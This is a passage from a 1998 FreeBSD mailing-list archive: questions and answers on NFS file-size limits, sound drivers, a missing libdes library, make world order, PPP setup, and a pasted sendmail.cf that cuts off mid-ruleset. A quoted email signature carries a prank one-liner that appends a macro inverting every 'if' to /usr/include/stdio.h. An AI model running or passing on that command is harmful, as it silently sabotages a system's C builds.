dyson@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL38 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Niall Smart said: > On Apr 11, 12:23pm, Tom wrote: > } Subject: maximum file size with NFS? > > > > What is the maximum file size supported by NFS? It seems the limit is > > 2GB as I can't work with files bigger than that with NFS. > > 2GB is a typical maximum file size under UNIX, the UNIX community > have already published a standard API which handles 64bit file > sizes but AFAIK I don't believe FreeBSD supports it, yet (?) nor > do I believe the standard encompasses NFS. > FreeBSD has supported an API that allows 64Bits, and our FFS filesystem works with files up to at least 30GBytes or more (demonstrated.) -- John | Never try to teach a pig to sing, dyson@freebsd.org | it just makes you look stupid, jdyson@nc.com | and it irritates the pig. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 13:58:45 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA06673 for freebsd-questions-outgoing; Sat, 11 Apr 1998 13:58:45 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA06568 for ; Sat, 11 Apr 1998 13:58:27 -0700 (PDT) (envelope-from toor@dyson.iquest.net) Received: (from root@localhost) by dyson.iquest.net (8.8.8/8.8.8) id PAA01512; Sat, 11 Apr 1998 15:58:20 -0500 (EST) (envelope-from toor) Message-Id: <199804112058.PAA01512@dyson.iquest.net> Subject: Re: maximum file size with NFS? In-Reply-To: from Tom at "Apr 11, 98 12:23:59 pm" To: tom@uniserve.com (Tom) Date: Sat, 11 Apr 1998 15:58:20 -0500 (EST) Cc: freebsd-questions@FreeBSD.ORG From: "John S. Dyson" Reply-To: dyson@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL38 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Tom said: > > What is the maximum file size supported by NFS? It seems the limit is > 2GB as I can't work with files bigger than that with NFS. > I think that NFSv3 theoretically supports >2GB. -- John | Never try to teach a pig to sing, dyson@freebsd.org | it just makes you look stupid, jdyson@nc.com | and it irritates the pig. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 14:43:59 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA13263 for freebsd-questions-outgoing; Sat, 11 Apr 1998 14:43:59 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from quackerjack.cc.vt.edu (quackerjack.cc.vt.edu [198.82.160.250]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA13230 for ; Sat, 11 Apr 1998 14:43:54 -0700 (PDT) (envelope-from rostewa2@vt.edu) Received: from sable.cc.vt.edu (sable.cc.vt.edu [128.173.16.30]) by quackerjack.cc.vt.edu (8.8.8/8.8.8) with ESMTP id QAA29822; Sat, 11 Apr 1998 16:46:33 -0400 (EDT) Received: from vt.edu (rostewa2.campus.vt.edu [198.82.96.185]) by sable.cc.vt.edu (8.8.8/8.8.8) with ESMTP id QAA28108; Sat, 11 Apr 1998 16:42:53 -0400 (EDT) Message-ID: <352F8F84.1E7220AB@vt.edu> Date: Sat, 11 Apr 1998 15:43:00 +0000 From: Brandon Stewart X-Mailer: Mozilla 4.04 [en] (X11; I; FreeBSD 2.2.6-STABLE i386) MIME-Version: 1.0 To: Doug White CC: freebsd-questions@FreeBSD.ORG Subject: Re: Sound card problems. References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Doug White wrote: > > On Fri, 10 Apr 1998, Stephen A. Derdau wrote: > > > I Have the cd-rom music playing through the sound card. > > Can't get much more to work. ie mic or have other sound files play. > > What version of FreeBSD are you using? If you're using 2.2.6 you might > consider trying the pcm0 driver. Will the pcm0 driver work with Gravis UltraSound classic? I saw Gravis UltraSound PNP, but nothing about Gravus UltraSound w/o PNP. The Voxware drivers no longer seem to work with Gravis Ultrasound (actually, its the interface of the drivers with isa.c). It would be nice to have sound support and the latest kernel sources. Thanks, Brandon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 14:49:08 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA14328 for freebsd-questions-outgoing; Sat, 11 Apr 1998 14:49:08 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from awfulhak.org (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA14265 for ; Sat, 11 Apr 1998 14:48:55 -0700 (PDT) (envelope-from brian@Awfulhak.org) Received: from gate.lan.awfulhak.org (localhost [127.0.0.1]) by awfulhak.org (8.8.8/8.8.7) with ESMTP id VAA05651; Sat, 11 Apr 1998 21:32:03 +0100 (BST) (envelope-from brian@gate.lan.awfulhak.org) Message-Id: <199804112032.VAA05651@awfulhak.org> X-Mailer: exmh version 2.0.1 12/23/97 To: Soren Dossing cc: questions@FreeBSD.ORG Subject: Re: Can't find shared library "libdes.so.3.0" In-reply-to: Your message of "Sat, 11 Apr 1998 11:34:46 PDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 11 Apr 1998 21:32:02 +0100 From: Brian Somers Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG WRT ppp: >From ftp://ftp.freebsd.org/pub/FreeBSD/2.2.6-RELEASE/ERRATA.TXT o The ppp program fails to work, citing a missing shared library called "libdes.so.3.0". Fix: There are three possible fixes: 1. The easiest fix is to simply install the des distribution with /stand/sysinstall, remembering to pick a site that will allow you to export it if you're outside the United States and Canada (ftp.freebsd.org and ftp.internat.freebsd.org both fall into this category). 2. Purely as a work-around, and what you may need to do if ppp also constitutes your only way of getting to the net, is to simply do the following (as root): cp /usr/lib/libcrypt.so.2.0 /usr/lib/libdes.so.3.0 ldconfig -m /usr/lib 3. Another fix, and one which doesn't involve having to fetch the DES bits, is to install the ppp sources in /usr/src/usr.sbin/ppp and rebuild them. The sources are "smart" enough to know that the DES library isn't on the system and won't create a binary which depends on it. NOTE: If you choose the 2nd or 3rd fixes, you also will not be able to use MSCHAP (Microsoft Win*) style authentication. > I get what to me seems almost randomly this message: > > Can't find shared library "libdes.so.3.0" [.....] > Thanks, > Soren -- Brian , , Don't _EVER_ lose your sense of humour.... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 15:02:16 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA16802 for freebsd-questions-outgoing; Sat, 11 Apr 1998 15:02:16 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ns.hcol.net (root@ns.hcol.net [205.152.99.16]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA16788 for ; Sat, 11 Apr 1998 15:02:08 -0700 (PDT) (envelope-from val@ns.hcol.net) Received: from www.hcol.net (www.hcol.net [205.152.99.18]) by ns.hcol.net (8.8.6/8.8.6) with ESMTP id RAA08074 for ; Sat, 11 Apr 1998 17:02:06 -0500 (CDT) From: Val Received: (from val@localhost) by www.hcol.net (8.8.5/8.8.6) id RAA26445 for freebsd-questions@freebsd.org; Sat, 11 Apr 1998 17:02:05 -0500 (CDT) Date: Sat, 11 Apr 1998 17:02:05 -0500 (CDT) Message-Id: <199804112202.RAA26445@www.hcol.net> To: freebsd-questions@FreeBSD.ORG Subject: shared library libcrypt missing? Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I was removing a system who is a member of wheel, staff groups and after doing that the server doesn't let me log in to it :( it says that: ld.so failed: Can't find shared library "libcrypt.so.2.0" I am still logged in with my name, but i am not sure whether there is anything I can do there. I understand that the library is in the /usr/lib directory (not any more) and that it controls some authentication stuff. What do I need to do to get it back? I am lost here. thanks, val. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 15:06:36 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA17420 for freebsd-questions-outgoing; Sat, 11 Apr 1998 15:06:36 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ns.hcol.net (root@ns.hcol.net [205.152.99.16]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA17409 for ; Sat, 11 Apr 1998 15:06:28 -0700 (PDT) (envelope-from jonathan@hcol.net) Received: from cc34.hcol.net (cc34.hcol.net [205.152.99.34]) by ns.hcol.net (8.8.6/8.8.6) with ESMTP id RAA08131; Sat, 11 Apr 1998 17:06:01 -0500 (CDT) Message-Id: <199804112206.RAA08131@ns.hcol.net> From: "Jonathan Smith" To: Cc: Subject: libcrypt not found part two Date: Sat, 11 Apr 1998 17:11:36 -0500 X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1162 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG just realized that I can't check the email on that system any more :( please send all replies to u_tarakanova@fhu.edu thanks, val. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 15:06:51 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA17608 for freebsd-questions-outgoing; Sat, 11 Apr 1998 15:06:51 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dt050n33.san.rr.com (@dt050n33.san.rr.com [204.210.31.51]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA17573 for ; Sat, 11 Apr 1998 15:06:46 -0700 (PDT) (envelope-from Studded@san.rr.com) Received: from san.rr.com (Studded@localhost [127.0.0.1]) by dt050n33.san.rr.com (8.8.8/8.8.8) with ESMTP id PAA12871; Sat, 11 Apr 1998 15:06:34 -0700 (PDT) (envelope-from Studded@san.rr.com) Message-ID: <352FE969.B7CCD0E@san.rr.com> Date: Sat, 11 Apr 1998 15:06:33 -0700 From: Studded Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.05 [en] (X11; I; FreeBSD 2.2.6-STABLE-0325 i386) MIME-Version: 1.0 To: Gavin Cameron CC: questions@FreeBSD.ORG Subject: Re: Upgrade question (fwd) References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Gavin Cameron wrote: > If I was going to upgrade via a make world should I > 1) make a kernel, reboot and make world, or > 2) make world, make a kernel and reboot? Never ever ever make the kernel first. See the make world tutorial at http://www.freebsd.org/docs.html. Good luck, Doug -- *** Chief Operations Officer, DALnet IRC network *** *** Proud operator, designer and maintainer of the world's largest *** Internet Relay Chat server. 5,328 clients and still growing. *** Try spider.dal.net on ports 6662-4 (Powered by FreeBSD) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 15:16:08 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA19377 for freebsd-questions-outgoing; Sat, 11 Apr 1998 15:16:08 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gric.com (gric.com [207.20.139.6]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA19369 for ; Sat, 11 Apr 1998 15:16:04 -0700 (PDT) (envelope-from mis@gric.com) Received: from gric.com ([207.20.127.209]) by gric.com (8.8.8/8.8.8) with ESMTP id PAA21162 for ; Sat, 11 Apr 1998 15:12:04 -0700 (PDT) Message-ID: <352FEA39.4B8A004C@gric.com> Date: Sat, 11 Apr 1998 15:10:01 -0700 From: Randy Haffer X-Mailer: Mozilla 4.04 [en] (WinNT; I) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: Bootmanager Changes?? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello, Does anyone have any idea how to modify the bootmanager? I would like to be able to change the labels displayed, as well as the time allowing you to make a selection. Any advice would be greatly appreciated. Thanks, Rob. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 15:23:35 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA20544 for freebsd-questions-outgoing; Sat, 11 Apr 1998 15:23:35 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from pop.uniserve.com (pop.uniserve.com [204.244.156.3]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id PAA20532 for ; Sat, 11 Apr 1998 15:23:30 -0700 (PDT) (envelope-from tom@uniserve.com) Received: from shell.uniserve.com [204.244.186.218] by pop.uniserve.com with smtp (Exim 1.82 #4) id 0yO8gF-0000vm-00; Sat, 11 Apr 1998 15:23:24 -0700 Date: Sat, 11 Apr 1998 15:23:20 -0700 (PDT) From: Tom To: Niall Smart cc: freebsd-questions@FreeBSD.ORG Subject: Re: maximum file size with NFS? In-Reply-To: <199804111940.UAA06687@indigo.ie> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 11 Apr 1998, Niall Smart wrote: > On Apr 11, 12:23pm, Tom wrote: > } Subject: maximum file size with NFS? > > > > What is the maximum file size supported by NFS? It seems the limit is > > 2GB as I can't work with files bigger than that with NFS. > > 2GB is a typical maximum file size under UNIX, the UNIX community > have already published a standard API which handles 64bit file > sizes but AFAIK I don't believe FreeBSD supports it, yet (?) nor > do I believe the standard encompasses NFS. FreeBSD has supported 2GB+ files for a quite a while... almost two years probably. > -- > Niall Smart. Microsoft Suck. See www.freebsd.org for details. > Annoy your enemies and amaze your friends: > echo "#define if(x) if(!(x))" >> /usr/include/stdio.h Tom To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 15:28:32 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA21792 for freebsd-questions-outgoing; Sat, 11 Apr 1998 15:28:32 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail.eclipse.net (chrismar@mail.eclipse.net [207.207.192.13]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA21779 for ; Sat, 11 Apr 1998 15:28:23 -0700 (PDT) (envelope-from chrismar@mail.eclipse.net) Received: (from chrismar@localhost) by mail.eclipse.net (8.8.6/8.8.6) id SAA05132; Sat, 11 Apr 1998 18:28:22 -0400 (EDT) Date: Sat, 11 Apr 1998 18:28:21 -0400 (EDT) From: Chris Martino To: questions@FreeBSD.ORG Subject: Modem Problems Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG To Whom it may Concern: The other day I installed FreeBSD 2.2.5 on a machine from CD. The installation went very smoothly, as well ass the setup of X and everything else. The only problem we have yet to solve is how to establish a PPP connection. I've printed all the pages in the FAQ and handbook pertaining to the subject, but I still can't seem to get it to work. I'm unsure of the exact modem it is (I can find out if you need it) but I know that it is a Modem/Sound Card combonation. In windows95 it runs on COM3 and COM4. In freebsd i know that the corresponding ports for COM3 and 4 is /dev/cuaa2 and /dev/cuaa3 but for somer reason the script won't work with either. When I try to run the script it says "/dev/cuaa2 not configured" and "/dev/cuaa3 not configured" In fact it does that with cuaa1 - cuaa4 for some odd reason cuaa0 will let the script run, but the modem doesn't dial or anything. Any help would be greatly appreciated. Thanks, Chris Ps- Using XFree86 and the Mac64 server how do I start X in 16bpp? It always boots in 8 bpp. C To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 15:33:06 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA22528 for freebsd-questions-outgoing; Sat, 11 Apr 1998 15:33:06 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail.ahnet.net (mail2.ahnet.net [207.213.224.24]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA22514 for ; Sat, 11 Apr 1998 15:32:50 -0700 (PDT) (envelope-from webmaster@zwb.net) Received: from znet-pdcs (icg-apc-pr1-p18.apc.net [207.211.76.172]) by mail.ahnet.net (8.8.7/8.8.6) with SMTP id PAA24733 for ; Sat, 11 Apr 1998 15:24:29 -0700 (PDT) Message-Id: <3.0.5.32.19980411152747.0093e8e0@207.213.224.25> X-Sender: 5808.dima@207.213.224.25 X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32) Date: Sat, 11 Apr 1998 15:27:47 -0700 To: freebsd-questions@FreeBSD.ORG From: Dima Dorfman Subject: Installing Procmail Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Subject: Installing Procmail Date: Sat, 11 Apr 1998 14:34:33 -0700 (PDT) From: Dima Dorfman To: dima@znt.dyn.ml.org Hi: (I hope I'm sending this to the right place) I'm having trouble installing procmail. I want it to be my default local mailer, but it doesn't seem to be happening. I copied all the files from the packages to /usr/local/sbin (other than the man pages, and the readmes), and I've changed my sendmail.cf(see below) to point to procmail instead of the default local mailer. I'm still receiving my mail, but I don't think it's going through procmail. In the man page, it says there should be some procmailrc files, but procmail doesn't complain that it can't find them, and doesn't seem to create them. Any help would be appreciated! Dima --- Thanks! Dima Dorfman "640k ought to be enough for anybody." - Bill Gates, 1981 My /etc/sendmail.cf file: # # Copyright (c) 1983, 1995 Eric P. Allman # Copyright (c) 1988, 1993 # The Regents of the University of California. All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # 1. Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # 2. Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # 3. All advertising materials mentioning features or use of this software # must display the following acknowledgement: # This product includes software developed by the University of # California, Berkeley and its contributors. # 4. Neither the name of the University nor the names of its contributors # may be used to endorse or promote products derived from this software # without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND # ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE # FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS # OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) # HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT # LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY # OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF # SUCH DAMAGE. # ###################################################################### ###################################################################### ##### ##### SENDMAIL CONFIGURATION FILE ##### ##### built by dima@zserver.znt.dyn.ml.org on Sat Apr 11 09:25:41 PDT 1998 ##### in /usr/src/usr.sbin/sendmail/cf/cf ##### using ../ as configuration include directory ##### ###################################################################### ###################################################################### ##### @(#)cfhead.m4 8.9 (Berkeley) 1/18/97 ##### ##### @(#)cf.m4 8.24 (Berkeley) 8/16/95 ##### ##### @(#)zserver.mc Dima Dorfman 1998 ##### ##### @(#)bsd4.4.m4 8.4 (Berkeley) 11/13/95 ##### ##### @(#)znt.dyn.ml.org.m4 Dima Dorfman 1998 ##### ##### @(#)redirect.m4 8.5 (Berkeley) 8/17/96 ##### ##### @(#)use_cw_file.m4 8.1 (Berkeley) 6/7/93 ##### ##### @(#)proto.m4 8.151 (Berkeley) 7/31/97 ##### # level 7 config file format V7/Berkeley ################## # local info # ################## Cwlocalhost # file containing names of hosts for which we receive email Fw/etc/sendmail.cw # my official domain name # ... define this only if sendmail cannot automatically determine your domain #Dj$w.Foo.COM CP. # "Smart" relay host (may be null) DS # place to which unknown users should be forwarded #Kuser user -m -a<> #DLname_of_luser_relay # operators that cannot be in local usernames (i.e., network indicators) CO @ % ! # a class with just dot (for identifying canonical names) C.. # a class with just a left bracket (for identifying domain literals) C[[ # Mailer table (overriding domains) #Kmailertable dbm /etc/mailertable # Domain table (adding domains) #Kdomaintable dbm /etc/domaintable # Generics table (mapping outgoing addresses) #Kgenerics dbm /etc/genericstable # Virtual user table (maps incoming users) #Kvirtuser dbm /etc/virtusertable # who I send unqualified names to (null means deliver locally) DR # who gets all local email traffic ($R has precedence for unqualified names) DH # dequoting map Kdequote dequote # class E: names that should be exposed as from this host, even if we masquerade # class L: names that should be delivered locally, even if we have a relay # class M: domains that should be converted to $M #CL root CE root # who I masquerade as (null for no masquerading) (see also $=M) DM # my name for error messages DnMAILER-DAEMON CPREDIRECT # Configuration version number DZ8.8.8 ############### # Options # ############### # strip message body to 7 bits on input? O SevenBitInput=False # 8-bit data handling O EightBitMode=pass8 # wait for alias file rebuild (default units: minutes) O AliasWait=10 # location of alias file O AliasFile=/etc/aliases # minimum number of free blocks on filesystem O MinFreeBlocks=100 # maximum message size #O MaxMessageSize=1000000 # substitution for space (blank) characters O BlankSub=. # avoid connecting to "expensive" mailers on initial submission? O HoldExpensive=False # checkpoint queue runs after every N successful deliveries #O CheckpointInterval=10 # default delivery mode O DeliveryMode=background # automatically rebuild the alias database? #O AutoRebuildAliases # error message header/file #O ErrorHeader=/etc/sendmail.oE # error mode #O ErrorMode=print # save Unix-style "From_" lines at top of header? #O SaveFromLine # temporary file mode O TempFileMode=0600 # match recipients against GECOS field? #O MatchGECOS # maximum hop count #O MaxHopCount=17 # location of help file O HelpFile=/usr/share/misc/sendmail.hf # ignore dots as terminators in incoming messages? #O IgnoreDots # name resolver options #O ResolverOptions=+AAONLY # deliver MIME-encapsulated error messages? O SendMimeErrors=True # Forward file search path O ForwardPath=$z/.forward.$w:$z/.forward # open connection cache size O ConnectionCacheSize=2 # open connection cache timeout O ConnectionCacheTimeout=5m # persistent host status directory #O HostStatusDirectory=.hoststat # single thread deliveries (requires HostStatusDirectory)? #O SingleThreadDelivery # use Errors-To: header? O UseErrorsTo=False # log level O LogLevel=9 # send to me too, even in an alias expansion? #O MeToo # verify RHS in newaliases? O CheckAliases=False # default messages to old style headers if no special punctuation? O OldStyleHeaders=True # SMTP daemon options #O DaemonPortOptions=Port=esmtp # privacy flags O PrivacyOptions=authwarnings # who (if anyone) should get extra copies of error messages #O PostMasterCopy=Postmaster # slope of queue-only function #O QueueFactor=600000 # queue directory O QueueDirectory=/var/spool/mqueue # timeouts (many of these) #O Timeout.initial=5m #O Timeout.connect=5m #O Timeout.iconnect=5m #O Timeout.helo=5m #O Timeout.mail=10m #O Timeout.rcpt=1h #O Timeout.datainit=5m #O Timeout.datablock=1h #O Timeout.datafinal=1h #O Timeout.rset=5m #O Timeout.quit=2m #O Timeout.misc=2m #O Timeout.command=1h #O Timeout.ident=30s #O Timeout.fileopen=60s O Timeout.queuereturn=5d #O Timeout.queuereturn.normal=5d #O Timeout.queuereturn.urgent=2d #O Timeout.queuereturn.non-urgent=7d O Timeout.queuewarn=4h #O Timeout.queuewarn.normal=4h #O Timeout.queuewarn.urgent=1h #O Timeout.queuewarn.non-urgent=12h #O Timeout.hoststatus=30m # should we not prune routes in route-addr syntax addresses? #O DontPruneRoutes # queue up everything before forking? O SuperSafe=True # status file O StatusFile=/var/log/sendmail.st # time zone handling: # if undefined, use system default # if defined but null, use TZ envariable passed in # if defined and non-null, use that info #O TimeZoneSpec= # default UID (can be username or userid:groupid) O DefaultUser=1:1 # list of locations of user database file (null means no lookup) #O UserDatabaseSpec=/etc/userdb # fallback MX host #O FallbackMXhost=fall.back.host.net # if we are the best MX host for a site, try it directly instead of config err #O TryNullMXList # load average at which we just queue messages #O QueueLA=8 # load average at which we refuse connections #O RefuseLA=12 # maximum number of children we allow at one time #O MaxDaemonChildren=12 # maximum number of new connections per second #O ConnectionRateThrottle=3 # work recipient factor #O RecipientFactor=30000 # deliver each queued job in a separate process? #O ForkEachJob # work class factor #O ClassFactor=1800 # work time factor #O RetryFactor=90000 # shall we sort the queue by hostname first? #O QueueSortOrder=priority # minimum time in queue before retry #O MinQueueAge=30m # default character set #O DefaultCharSet=iso-8859-1 # service switch file (ignored on Solaris, Ultrix, OSF/1, others) #O ServiceSwitchFile=/etc/service.switch # hosts file (normally /etc/hosts) #O HostsFile=/etc/hosts # dialup line delay on connection failure #O DialDelay=10s # action to take if there are no recipients in the message #O NoRecipientAction=add-to-undisclosed # chrooted environment for writing to files #O SafeFileEnvironment=/arch # are colons OK in addresses? #O ColonOkInAddr # how many jobs can you process in the queue? #O MaxQueueRunSize=10000 # shall I avoid expanding CNAMEs (violates protocols)? #O DontExpandCnames # SMTP initial login message (old $e macro) O SmtpGreetingMessage=$j Sendmail $v/$Z; $b # UNIX initial From header format (old $l macro) O UnixFromLine=From $g $d # delimiter (operator) characters (old $o macro) O OperatorChars=.:%@!^/[]+ # shall I avoid calling initgroups(3) because of high NIS costs? #O DontInitGroups # are group-writable :include: and .forward files (un)trustworthy? #O UnsafeGroupWrites # where do errors that occur when sending errors get sent? #O DoubleBounceAddress # what user id do we assume for the majority of the processing? #O RunAsUser=sendmail ########################### # Message precedences # ########################### Pfirst-class=0 Pspecial-delivery=100 Plist=-30 Pbulk=-60 Pjunk=-100 ##################### # Trusted users # ##################### # this is equivalent to setting class "t" #Ft/etc/sendmail.ct Troot Tdaemon Tuucp ######################### # Format of headers # ######################### H?P?Return-Path: <$g> HReceived: $?sfrom $s $.$?_($?s$|from $.$_) $.by $j ($v/$Z)$?r with $r$. id $i$?u for $u; $|; $.$b H?D?Resent-Date: $a H?D?Date: $a H?F?Resent-From: $?x$x <$g>$|$g$. H?F?From: $?x$x <$g>$|$g$. H?x?Full-Name: $x # HPosted-Date: $a # H?l?Received-Date: $b H?M?Resent-Message-Id: <$t.$i@$j> H?M?Message-Id: <$t.$i@$j> # ###################################################################### ###################################################################### ##### ##### REWRITING RULES ##### ###################################################################### ###################################################################### ############################################ ### Ruleset 3 -- Name Canonicalization ### ############################################ S3 # handle null input (translate to <@> special case) R$@ $@ <@> # strip group: syntax (not inside angle brackets!) and trailing semicolon R$* $: $1 <@> mark addresses R$* < $* > $* <@> $: $1 < $2 > $3 unmark R@ $* <@> $: @ $1 unmark @host:... R$* :: $* <@> $: $1 :: $2 unmark node::addr R:include: $* <@> $: :include: $1 unmark :include:... R$* [ $* : $* ] <@> $: $1 [ $2 : $3 ] unmark IPv6 addrs R$* : $* [ $* ] $: $1 : $2 [ $3 ] <@> remark if leading colon R$* : $* <@> $: $2 strip colon if marked R$* <@> $: $1 unmark R$* ; $1 strip trailing semi R$* < $* ; > $1 < $2 > bogus bracketed semi # null input now results from list:; syntax R$@ $@ :; <@> # strip angle brackets -- note RFC733 heuristic to get innermost item R$* $: < $1 > housekeeping <> R$+ < $* > < $2 > strip excess on left R< $* > $+ < $1 > strip excess on right R<> $@ < @ > MAIL FROM:<> case R< $+ > $: $1 remove housekeeping <> # make sure <@a,@b,@c:user@d> syntax is easy to parse -- undone later R@ $+ , $+ @ $1 : $2 change all "," to ":" # localize and dispose of route-based addresses R@ $+ : $+ $@ $>96 < @$1 > : $2 handle # find focus for list syntax R $+ : $* ; @ $+ $@ $>96 $1 : $2 ; < @ $3 > list syntax R $+ : $* ; $@ $1 : $2; list syntax # find focus for @ syntax addresses R$+ @ $+ $: $1 < @ $2 > focus on domain R$+ < $+ @ $+ > $1 $2 < @ $3 > move gaze right R$+ < @ $+ > $@ $>96 $1 < @ $2 > already canonical # do some sanity checking R$* < @ $* : $* > $* $1 < @ $2 $3 > $4 nix colons in addrs # convert old-style addresses to a domain-based address R$- ! $+ $@ $>96 $2 < @ $1 .UUCP > resolve uucp names R$+ . $- ! $+ $@ $>96 $3 < @ $1 . $2 > domain uucps R$+ ! $+ $@ $>96 $2 < @ $1 .UUCP > uucp subdomains # if we have % signs, take the rightmost one R$* % $* $1 @ $2 First make them all @s. R$* @ $* @ $* $1 % $2 @ $3 Undo all but the last. R$* @ $* $@ $>96 $1 < @ $2 > Insert < > and finish # else we must be a local name R$* $@ $>96 $1 ################################################ ### Ruleset 96 -- bottom half of ruleset 3 ### ################################################ S96 # handle special cases for local names R$* < @ localhost > 